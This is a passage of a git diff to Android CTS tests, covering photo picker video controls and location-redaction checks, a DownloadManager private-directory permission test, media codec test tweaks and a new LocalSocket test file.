+ assertPlayPauseAutoHides(playPauseButton);
+
+ final UiObject playerView = findPlayerView();
+ // Click on StyledPlayerView to make the video controls visible
+ playerView.click();
+ mDevice.waitForIdle();
+ assertPlayPauseVisible(playPauseButton);
+
+ // Wait for 1s and check that controls are still visible
+ assertPlayPauseDoesntAutoHide(playPauseButton);
+
+ // Click on StyledPlayerView and check that controls are no longer visible. Don't click in
+ // the center, clicking in the center may pause the video.
+ playerView.clickBottomRight();
+ mDevice.waitForIdle();
+ assertPlayPauseHidden(playPauseButton);
+
+ // Swipe left and check that controls are not visible
+ swipeLeftAndWait();
+ assertPlayPauseHidden(playPauseButton);
+
+ // Click on the StyledPlayerView and check that controls appear
+ playerView.click();
+ mDevice.waitForIdle();
+ assertPlayPauseVisible(playPauseButton);
+
+ // Swipe left to check that controls are now visible on swipe
+ swipeLeftAndWait();
+ assertPlayPauseVisible(playPauseButton);
+
+ // Check that the player controls are auto hidden in 1s
+ assertPlayPauseAutoHides(playPauseButton);
+
+ final UiObject addButton = findPreviewAddButton();
+ addButton.click();
+ // We don't test the result of the picker here because the intention of the test is only to
+ // test the video controls
+ }
+
+ @Test
public void testMimeTypeFilter() throws Exception {
final int videoCount = 2;
- createVideos(videoCount, mContext.getUserId(), mUriList);
+ createDNGVideos(videoCount, mContext.getUserId(), mUriList);
final int imageCount = 1;
createImages(imageCount, mContext.getUserId(), mUriList);
+
final String mimeType = "video/dng";
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
- intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
+ // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
intent.setType(mimeType);
mActivity.startActivityForResult(intent, REQUEST_CODE);
@@ -341,6 +422,76 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
}
}
+ private void testVideoPreviewPlayPause() throws Exception {
+ final UiObject playPauseButton = findPlayPauseButton();
+ // Wait for buttons to auto hide.
+ assertPlayPauseAutoHides(playPauseButton);
+
+ // Click on StyledPlayerView to make the video controls visible
+ final UiObject playerView = findPlayerView();
+ playerView.click();
+ mDevice.waitForIdle();
+
+ // PlayPause button is now pause button, click the button to pause the video.
+ playPauseButton.click();
+ mDevice.waitForIdle();
+
+ // Wait for 1s and check that play button is not auto hidden
+ assertPlayPauseDoesntAutoHide(playPauseButton);
+
+ // PlayPause button is now play button, click the button to play the video.
+ playPauseButton.click();
+ mDevice.waitForIdle();
+ // Check that pause button auto-hides in 1s.
+ assertPlayPauseAutoHides(playPauseButton);
+ }
+
+ private void launchPreviewMultipleWithVideos(int videoCount) throws Exception {
+ createVideos(videoCount, mContext.getUserId(), mUriList);
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
+ intent.setType("video/*");
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ final List<UiObject> itemList = findItemList(videoCount);
+ final int itemCount = itemList.size();
+
+ assertThat(itemCount).isEqualTo(videoCount);
+
+ for (int i = 0; i < itemCount; i++) {
+ final UiObject item = itemList.get(i);
+ item.click();
+ mDevice.waitForIdle();
+ }
+
+ final UiObject viewSelectedButton = findViewSelectedButton();
+ viewSelectedButton.click();
+ mDevice.waitForIdle();
+ }
+
+ private void assertPlayPauseVisible(UiObject playPauseButton) {
+ assertWithMessage("Expected play/pause buttons to be visible")
+ .that(playPauseButton.exists()).isTrue();
+ }
+
+ private void assertPlayPauseHidden(UiObject playPauseButton) {
+ assertWithMessage("Expected play/pause button to be hidden")
+ .that(playPauseButton.exists()).isFalse();
+ }
+
+ private void assertPlayPauseAutoHides(UiObject playPauseButton) {
+ // These buttons should auto hide in 1 second after the video playback start. Since we can't
+ // identify the video playback start time, we wait for 2 seconds instead.
+ assertWithMessage("Timed out waiting for pause button to auto-hide")
+ .that(playPauseButton.waitUntilGone(2000)).isTrue();
+ }
+
+ private void assertPlayPauseDoesntAutoHide(UiObject playPauseButton) {
+ assertWithMessage("Expected play/pause buttons to not hide")
+ .that(playPauseButton.waitUntilGone(1100)).isFalse();
+ }
+
private static UiObject findViewSelectedButton() {
return new UiObject(new UiSelector().resourceIdMatches(
REGEX_PACKAGE_NAME + ":id/button_view_selected"));
@@ -351,9 +502,21 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
REGEX_PACKAGE_NAME + ":id/preview_select_check_button"));
}
- private void swipeLeft() {
+
+ private static UiObject findPlayerView() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/preview_player_view"));
+ }
+
+ private static UiObject findPlayPauseButton() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/exo_play_pause"));
+ }
+
+ private void swipeLeftAndWait() {
final int width = mDevice.getDisplayWidth();
final int height = mDevice.getDisplayHeight();
- mDevice.swipe(width / 2, height / 2, width / 4, height / 2, 10);
+ mDevice.swipe(15 * width / 20, height / 2, width / 20, height / 2, 20);
+ mDevice.waitForIdle();
}
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
index 28380f9a094..d9ff84bed99 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
@@ -16,9 +16,8 @@
package android.photopicker.cts.util;
-import static android.photopicker.cts.util.PhotoPickerFilesUtils.DISPLAY_NAME_PREFIX;
-import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_IMAGE;
-import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_VIDEO;
+import static android.os.SystemProperties.getBoolean;
+import static android.provider.MediaStore.Files.FileColumns;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -32,8 +31,6 @@ import android.media.ExifInterface;
import android.net.Uri;
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
-import android.provider.MediaStore;
-import android.util.Log;
import androidx.test.InstrumentationRegistry;
@@ -65,57 +62,50 @@ public class PhotoPickerAssertionsUtils {
public static void assertRedactedReadOnlyAccess(Uri uri) throws Exception {
assertThat(uri).isNotNull();
- final String[] projection = new String[]{MediaStore.Files.FileColumns.TITLE,
- MediaStore.Files.FileColumns.MEDIA_TYPE};
+ // TODO(b/205291616): Replace FileColumns.MIME_TYPE with PickerMediaColumns.MIME_TYPE
+ final String[] projection = new String[]{ FileColumns.MIME_TYPE };
final Context context = InstrumentationRegistry.getTargetContext();
final ContentResolver resolver = context.getContentResolver();
- final Cursor c = resolver.query(uri, projection, null, null);
- assertThat(c).isNotNull();
- assertThat(c.moveToFirst()).isTrue();
-
- boolean canCheckRedacted = false;
- // If the file is inserted by this test case, we can check the redaction.
- // To avoid checking the redaction on the other media file.
- if (c.getString(0).startsWith(DISPLAY_NAME_PREFIX)) {
- canCheckRedacted = true;
- } else {
- Log.d(TAG, uri + " is not the test file we expected, don't check the redaction");
- }
-
- final int mediaType = c.getInt(1);
- switch (mediaType) {
- case MEDIA_TYPE_IMAGE:
- assertImageRedactedReadOnlyAccess(uri, canCheckRedacted, resolver);
- break;
- case MEDIA_TYPE_VIDEO:
- assertVideoRedactedReadOnlyAccess(uri, canCheckRedacted, resolver);
- break;
- default:
- fail("The media type is not as expected: " + mediaType);
- }
- }
+ try (Cursor c = resolver.query(uri, projection, null, null)) {
+ assertThat(c).isNotNull();
+ assertThat(c.moveToFirst()).isTrue();
+
+ final String mimeType;
+ if (getBoolean("sys.photopicker.pickerdb.enabled", true)) {
+ // TODO(b/205291616): Replace FileColumns.MIME_TYPE with
+ // PickerMediaColumns.MIME_TYPE
+ mimeType = c.getString(c.getColumnIndex(FileColumns.MIME_TYPE));
+ } else {
+ mimeType = c.getString(c.getColumnIndex(FileColumns.MIME_TYPE));
+ }
- private static void assertVideoRedactedReadOnlyAccess(Uri uri, boolean shouldCheckRedacted,
- ContentResolver resolver) throws Exception {
- if (shouldCheckRedacted) {
- // The location is redacted
- try (InputStream in = resolver.openInputStream(uri);
- ByteArrayOutputStream out = new ByteArrayOutputStream()) {
- FileUtils.copy(in, out);
- byte[] bytes = out.toByteArray();
- byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
- String xmp = new String(xmpBytes);
- assertWithMessage("Failed to redact XMP longitude")
- .that(xmp.contains("10,41.751000E")).isFalse();
- assertWithMessage("Failed to redact XMP latitude")
- .that(xmp.contains("53,50.070500N")).isFalse();
- assertWithMessage("Redacted non-location XMP")
- .that(xmp.contains("13166/7763")).isTrue();
+ if (mimeType.startsWith("image")) {
+ assertImageRedactedReadOnlyAccess(uri, resolver);
+ } else if (mimeType.startsWith("video")) {
+ assertVideoRedactedReadOnlyAccess(uri, resolver);
+ } else {
+ fail("The mime type is not as expected: " + mimeType);
}
}
+ }
- try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "r")) {
- // this should pass
+ private static void assertVideoRedactedReadOnlyAccess(Uri uri, ContentResolver resolver)
+ throws Exception {
+ // The location is redacted
+ // TODO(b/201505595): Make this method work for test_video.mp4. Currently it works only for
+ // test_video_dng.mp4
+ try (InputStream in = resolver.openInputStream(uri);
+ ByteArrayOutputStream out = new ByteArrayOutputStream()) {
+ FileUtils.copy(in, out);
+ byte[] bytes = out.toByteArray();
+ byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
+ String xmp = new String(xmpBytes);
+ assertWithMessage("Failed to redact XMP longitude")
+ .that(xmp.contains("10,41.751000E")).isFalse();
+ assertWithMessage("Failed to redact XMP latitude")
+ .that(xmp.contains("53,50.070500N")).isFalse();
+ assertWithMessage("Redacted non-location XMP")
+ .that(xmp.contains("13166/7763")).isTrue();
}
// assert no write access
@@ -125,31 +115,25 @@ public class PhotoPickerAssertionsUtils {
}
}
- private static void assertImageRedactedReadOnlyAccess(Uri uri, boolean shouldCheckRedacted,
- ContentResolver resolver) throws Exception {
- if (shouldCheckRedacted) {
- // The location is redacted
- try (InputStream is = resolver.openInputStream(uri)) {
- final ExifInterface exif = new ExifInterface(is);
- final float[] latLong = new float[2];
- exif.getLatLong(latLong);
- assertWithMessage("Failed to redact latitude")
- .that(latLong[0]).isWithin(0.001f).of(0);
- assertWithMessage("Failed to redact longitude")
- .that(latLong[1]).isWithin(0.001f).of(0);
-
- String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
- assertWithMessage("Failed to redact XMP longitude")
- .that(xmp.contains("10,41.751000E")).isFalse();
- assertWithMessage("Failed to redact XMP latitude")
- .that(xmp.contains("53,50.070500N")).isFalse();
- assertWithMessage("Redacted non-location XMP")
- .that(xmp.contains("LensDefaults")).isTrue();
- }
- }
-
- try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "r")) {
- // this should pass
+ private static void assertImageRedactedReadOnlyAccess(Uri uri, ContentResolver resolver)
+ throws Exception {
+ // The location is redacted
+ try (InputStream is = resolver.openInputStream(uri)) {
+ final ExifInterface exif = new ExifInterface(is);
+ final float[] latLong = new float[2];
+ exif.getLatLong(latLong);
+ assertWithMessage("Failed to redact latitude")
+ .that(latLong[0]).isWithin(0.001f).of(0);
+ assertWithMessage("Failed to redact longitude")
+ .that(latLong[1]).isWithin(0.001f).of(0);
+
+ String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
+ assertWithMessage("Failed to redact XMP longitude")
+ .that(xmp.contains("10,41.751000E")).isFalse();
+ assertWithMessage("Failed to redact XMP latitude")
+ .that(xmp.contains("53,50.070500N")).isFalse();
+ assertWithMessage("Redacted non-location XMP")
+ .that(xmp.contains("LensDefaults")).isTrue();
}
// assert no write access
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
index 37a44f99915..8103b70f6cd 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
@@ -49,6 +49,15 @@ public class PhotoPickerFilesUtils {
}
}
+ public static void createDNGVideos(int count, int userId, List<Uri> uriList)
+ throws Exception {
+ for (int i = 0; i < count; i++) {
+ final Uri uri = createDNGVideo(userId);
+ uriList.add(uri);
+ clearMediaOwner(uri, userId);
+ }
+ }
+
public static void createVideos(int count, int userId, List<Uri> uriList)
throws Exception {
for (int i = 0; i < count; i++) {
@@ -69,8 +78,14 @@ public class PhotoPickerFilesUtils {
ShellUtils.runShellCommand(cmd);
}
+ private static Uri createDNGVideo(int userId) throws Exception {
+ final Uri uri = stageMedia(R.raw.test_video_dng,
+ MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId);
+ return uri;
+ }
+
private static Uri createVideo(int userId) throws Exception {
- final Uri uri = stageMedia(R.raw.testvideo_meta,
+ final Uri uri = stageMedia(R.raw.test_video,
MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId);
return uri;
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
index 6a64e721791..d20dcd6665b 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
@@ -73,6 +73,11 @@ public class PhotoPickerUiUtils {
return itemList;
}
+ public static UiObject findPreviewAddButton() {
+ return new UiObject(new UiSelector().resourceIdMatches(
+ REGEX_PACKAGE_NAME + ":id/preview_add_button"));
+ }
+
public static UiObject findPreviewAddOrSelectButton() {
return new UiObject(new UiSelector().resourceIdMatches(
REGEX_PACKAGE_NAME + ":id/preview_add_or_select_button"));
diff --git a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
index 8b7d348d8e6..1df830d8ff5 100644
--- a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
+++ b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
@@ -15,6 +15,8 @@
*/
package android.app.cts;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assert.assertArrayEquals;
@@ -32,6 +34,7 @@ import android.os.FileUtils;
import androidx.test.runner.AndroidJUnit4;
+import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -99,6 +102,28 @@ public class DownloadManagerApi28Test extends DownloadManagerTestBase {
}
@Test
+ public void testSetDestinationUri_privateAppDir() throws Exception {
+ // Make sure the private app directory exists
+ runShellCommand("mkdir -p /sdcard/Android/data/com.android.shell -m 2770");
+ final File path = new File("/sdcard/Android/data/com.android.shell/"
+ + TAG + System.currentTimeMillis());
+
+ final DownloadCompleteReceiver receiver = new DownloadCompleteReceiver();
+ try {
+ IntentFilter intentFilter = new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE);
+ mContext.registerReceiver(receiver, intentFilter);
+
+ DownloadManager.Request requestPublic = new DownloadManager.Request(getGoodUrl());
+ requestPublic.setDestinationUri(Uri.fromFile(path));
+ mDownloadManager.enqueue(requestPublic);
+ Assert.fail("Cannot download files into other app's private directories");
+ } catch (SecurityException expected) {
+ } finally {
+ mContext.unregisterReceiver(receiver);
+ }
+ }
+
+ @Test
public void testDestinationInExternalPublicDir() throws Exception {
File publicLocation = new File(
Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS),
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 21206871850..ae40d8989c8 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -19,6 +19,8 @@ import static android.Manifest.permission.WRITE_MEDIA_STORAGE;
import static android.content.pm.PackageManager.PERMISSION_DENIED;
import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
@@ -56,6 +58,7 @@ import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.CddTest;
+import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -322,6 +325,28 @@ public class DownloadManagerTest extends DownloadManagerTestBase {
}
@Test
+ public void testSetDestinationUri_privateAppDir() throws Exception {
+ // Make sure the private app directory exists
+ runShellCommand("mkdir -p /sdcard/Android/data/com.android.shell -m 2770");
+ final File path = new File("/sdcard/Android/data/com.android.shell/"
+ + TAG + System.currentTimeMillis());
+
+ final DownloadCompleteReceiver receiver = new DownloadCompleteReceiver();
+ try {
+ IntentFilter intentFilter = new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE);
+ mContext.registerReceiver(receiver, intentFilter);
+
+ DownloadManager.Request requestPublic = new DownloadManager.Request(getGoodUrl());
+ requestPublic.setDestinationUri(Uri.fromFile(path));
+ mDownloadManager.enqueue(requestPublic);
+ Assert.fail("Cannot download files into other app's private directories");
+ } catch (SecurityException expected) {
+ } finally {
+ mContext.unregisterReceiver(receiver);
+ }
+ }
+
+ @Test
public void testSetDestinationUri_invalidRequests() throws Exception {
final File documentsFile = new File(
Environment.getExternalStoragePublicDirectory("TestDir"),
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index d53a952199d..be1c791703d 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -1859,32 +1859,6 @@ public class NotificationManagerTest extends AndroidTestCase {
}
}
- public void testNotify_blockedChannelGroup() throws Exception {
- mNotificationManager.cancelAll();
-
- NotificationChannelGroup group = new NotificationChannelGroup(mId, "group name");
- group.setBlocked(true);
- mNotificationManager.createNotificationChannelGroup(group);
- NotificationChannel channel =
- new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
- channel.setGroup(mId);
- mNotificationManager.createNotificationChannel(channel);
-
- int id = 1;
- final Notification notification =
- new Notification.Builder(mContext, mId)
- .setSmallIcon(R.drawable.black)
- .setWhen(System.currentTimeMillis())
- .setContentTitle("notify#" + id)
- .setContentText("This is #" + id + "notification ")
- .build();
- mNotificationManager.notify(id, notification);
-
- if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
- fail("found unexpected notification id=" + id);
- }
- }
-
public void testCancel() throws Exception {
final int id = 9;
sendNotification(id, R.drawable.black);
diff --git a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
index e8038634903..ae9054f6146 100644
--- a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
+++ b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
@@ -219,6 +219,7 @@ public class AdaptivePlaybackTest extends CodecDecoderTestBase {
queueEOS();
waitForAllOutputs();
mCodec.reset();
+ mCodec.release();
}
tearDownSurface();
}
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
index 832127d29b3..457ebf71b69 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
@@ -706,7 +706,6 @@ public class CodecEncoderTest extends CodecEncoderTestBase {
private native boolean nativeTestSetForceSyncFrame(String encoder, String file, String mime,
int[] list0, int[] list1, int[] list2, int colorFormat);
- @Ignore("TODO(b/) = test sometimes timesout")
@LargeTest
@Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
public void testSetForceSyncFrameNative() throws IOException {
@@ -742,8 +741,6 @@ public class CodecEncoderTest extends CodecEncoderTestBase {
mOutputBuff = new OutputManager();
mSaveToMem = true;
{
- /* TODO(b/147574800) */
- if (mCodecName.equals("c2.android.hevc.encoder")) return;
mCodec = MediaCodec.createByCodecName(mCodecName);
format.removeKey(MediaFormat.KEY_BITRATE_MODE);
MediaCodecInfo.EncoderCapabilities cap =
@@ -803,7 +800,6 @@ public class CodecEncoderTest extends CodecEncoderTestBase {
private native boolean nativeTestAdaptiveBitRate(String encoder, String file, String mime,
int[] list0, int[] list1, int[] list2, int colorFormat);
- @Ignore("TODO(b/) = test sometimes timesout")
@LargeTest
@Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
public void testAdaptiveBitRateNative() throws IOException {
@@ -811,8 +807,6 @@ public class CodecEncoderTest extends CodecEncoderTestBase {
mAdaptiveBitrateMimeList.contains(mMime));
int colorFormat = -1;
{
- /* TODO(b/147574800) */
- if (mCodecName.equals("c2.android.hevc.encoder")) return;
if (!mIsAudio) {
colorFormat = findByteBufferColorFormat(mCodecName, mMime);
assertTrue("no valid color formats received", colorFormat != -1);
diff --git a/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
index f7466b027c8..15f5e6595a3 100644
--- a/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java
@@ -51,10 +51,10 @@ public class DecoderColorAspectsTest extends CodecDecoderTestBase {
mCheckESList = new ArrayList<>();
mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
- /* TODO (b/165492703) Mpeg2 and (b/165787556) AV1 has problems in signalling color
+ /* TODO (b/165492703) Mpeg2 has problems in signalling color
aspects information via elementary stream. */
// mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_MPEG2);
- // mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
+ mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
mCanIgnoreColorBox = canIgnoreColorBox;
}
diff --git a/tests/net/Android.bp b/tests/net/Android.bp
new file mode 100644
index 00000000000..2a4153ac89b
--- /dev/null
+++ b/tests/net/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+ name: "CtsNetTestsNonUpdatableLib",
+ srcs: ["src/**/*.java"],
+ static_libs: ["androidx.test.rules"],
+ platform_apis: true,
+}
diff --git a/tests/net/OWNERS b/tests/net/OWNERS
new file mode 100644
index 00000000000..67e4fc928a1
--- /dev/null
+++ b/tests/net/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 31808
+set noparent
+file:platform/packages/modules/Connectivity:master:/OWNERS_core_networking_xts \ No newline at end of file
diff --git a/tests/net/TEST_MAPPING b/tests/net/TEST_MAPPING
new file mode 100644
index 00000000000..a6a02d595fd
--- /dev/null
+++ b/tests/net/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "imports": [
+ {
+ "path": "packages/modules/Connectivity"
+ }
+ ]
+}
diff --git a/tests/net/src/android/net/cts/LocalSocketTest.java b/tests/net/src/android/net/cts/LocalSocketTest.java
new file mode 100644
index 00000000000..969f7060913
--- /dev/null
+++ b/tests/net/src/android/net/cts/LocalSocketTest.java
@@ -0,0 +1,471 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import android.net.Credentials;
+import android.net.LocalServerSocket;
+import android.net.LocalSocket;
+import android.net.LocalSocketAddress;
+import android.os.ParcelFileDescriptor;
+import android.system.Os;
+import android.system.OsConstants;
+
+import junit.framework.TestCase;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+
+public class LocalSocketTest extends TestCase {
+ private final static String ADDRESS_PREFIX = "com.android.net.LocalSocketTest";
+
+ public void testLocalConnections() throws IOException {
+ String address = ADDRESS_PREFIX + "_testLocalConnections";
+ // create client and server socket
+ LocalServerSocket localServerSocket = new LocalServerSocket(address);
+ LocalSocket clientSocket = new LocalSocket();
+
+ // establish connection between client and server
+ LocalSocketAddress locSockAddr = new LocalSocketAddress(address);
+ assertFalse(clientSocket.isConnected());
+ clientSocket.connect(locSockAddr);
+ assertTrue(clientSocket.isConnected());
+
+ LocalSocket serverSocket = localServerSocket.accept();
+ assertTrue(serverSocket.isConnected());
+ assertTrue(serverSocket.isBound());
+ try {
+ serverSocket.bind(localServerSocket.getLocalSocketAddress());
+ fail("Cannot bind a LocalSocket from accept()");
+ } catch (IOException expected) {
+ }
+ try {
+ serverSocket.connect(locSockAddr);
+ fail("Cannot connect a LocalSocket from accept()");
+ } catch (IOException expected) {
+ }
+
+ Credentials credent = clientSocket.getPeerCredentials();
+ assertTrue(0 != credent.getPid());
+
+ // send data from client to server
+ OutputStream clientOutStream = clientSocket.getOutputStream();
+ clientOutStream.write(12);
+ InputStream serverInStream = serverSocket.getInputStream();
+ assertEquals(12, serverInStream.read());
+
+ //send data from server to client
+ OutputStream serverOutStream = serverSocket.getOutputStream();
+ serverOutStream.write(3);
+ InputStream clientInStream = clientSocket.getInputStream();
+ assertEquals(3, clientInStream.read());
+
+ // Test sending and receiving file descriptors
+ clientSocket.setFileDescriptorsForSend(new FileDescriptor[]{FileDescriptor.in});
+ clientOutStream.write(32);
+ assertEquals(32, serverInStream.read());
+
+ FileDescriptor[] out = serverSocket.getAncillaryFileDescriptors();
+ assertEquals(1, out.length);
+ FileDescriptor fd = clientSocket.getFileDescriptor();
+ assertTrue(fd.valid());
+
+ //shutdown input stream of client
+ clientSocket.shutdownInput();
+ assertEquals(-1, clientInStream.read());
+
+ //shutdown output stream of client
+ clientSocket.shutdownOutput();
+ try {
+ clientOutStream.write(10);
+ fail("testLocalSocket shouldn't come to here");
+ } catch (IOException e) {
+ // expected
+ }
+
+ //shutdown input stream of server
+ serverSocket.shutdownInput();
+ assertEquals(-1, serverInStream.read());
+
+ //shutdown output stream of server
+ serverSocket.shutdownOutput();
+ try {
+ serverOutStream.write(10);
+ fail("testLocalSocket shouldn't come to here");
+ } catch (IOException e) {
+ // expected
+ }
+
+ //close client socket
+ clientSocket.close();
+ try {
+ clientInStream.read();
+ fail("testLocalSocket shouldn't come to here");
+ } catch (IOException e) {
+ // expected
+ }
+
+ //close server socket
+ serverSocket.close();
+ try {
+ serverInStream.read();
+ fail("testLocalSocket shouldn't come to here");
+ } catch (IOException e) {
+ // expected
+ }
+ }
+
+ public void testAccessors() throws IOException {
+ String address = ADDRESS_PREFIX + "_testAccessors";
+ LocalSocket socket = new LocalSocket();
+ LocalSocketAddress addr = new LocalSocketAddress(address);
+
+ assertFalse(socket.isBound());
+ socket.bind(addr);
+ assertTrue(socket.isBound());
+ assertEquals(addr, socket.getLocalSocketAddress());
+
+ String str = socket.toString();
+ assertTrue(str.contains("impl:android.net.LocalSocketImpl"));
+
+ socket.setReceiveBufferSize(1999);
+ assertEquals(1999 << 1, socket.getReceiveBufferSize());
+
+ socket.setSendBufferSize(3998);
+ assertEquals(3998 << 1, socket.getSendBufferSize());
+
+ assertEquals(0, socket.getSoTimeout());
+ socket.setSoTimeout(1996);
+ assertTrue(socket.getSoTimeout() > 0);
+
+ try {
+ socket.getRemoteSocketAddress();
+ fail("testLocalSocketSecondary shouldn't come to here");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ try {
+ socket.isClosed();
+ fail("testLocalSocketSecondary shouldn't come to here");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ try {
+ socket.isInputShutdown();
+ fail("testLocalSocketSecondary shouldn't come to here");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ try {
+ socket.isOutputShutdown();
+ fail("testLocalSocketSecondary shouldn't come to here");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ try {
+ socket.connect(addr, 2005);
+ fail("testLocalSocketSecondary shouldn't come to here");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ socket.close();
+ }
+
+ // http://b/31205169
+ public void testSetSoTimeout_readTimeout() throws Exception {
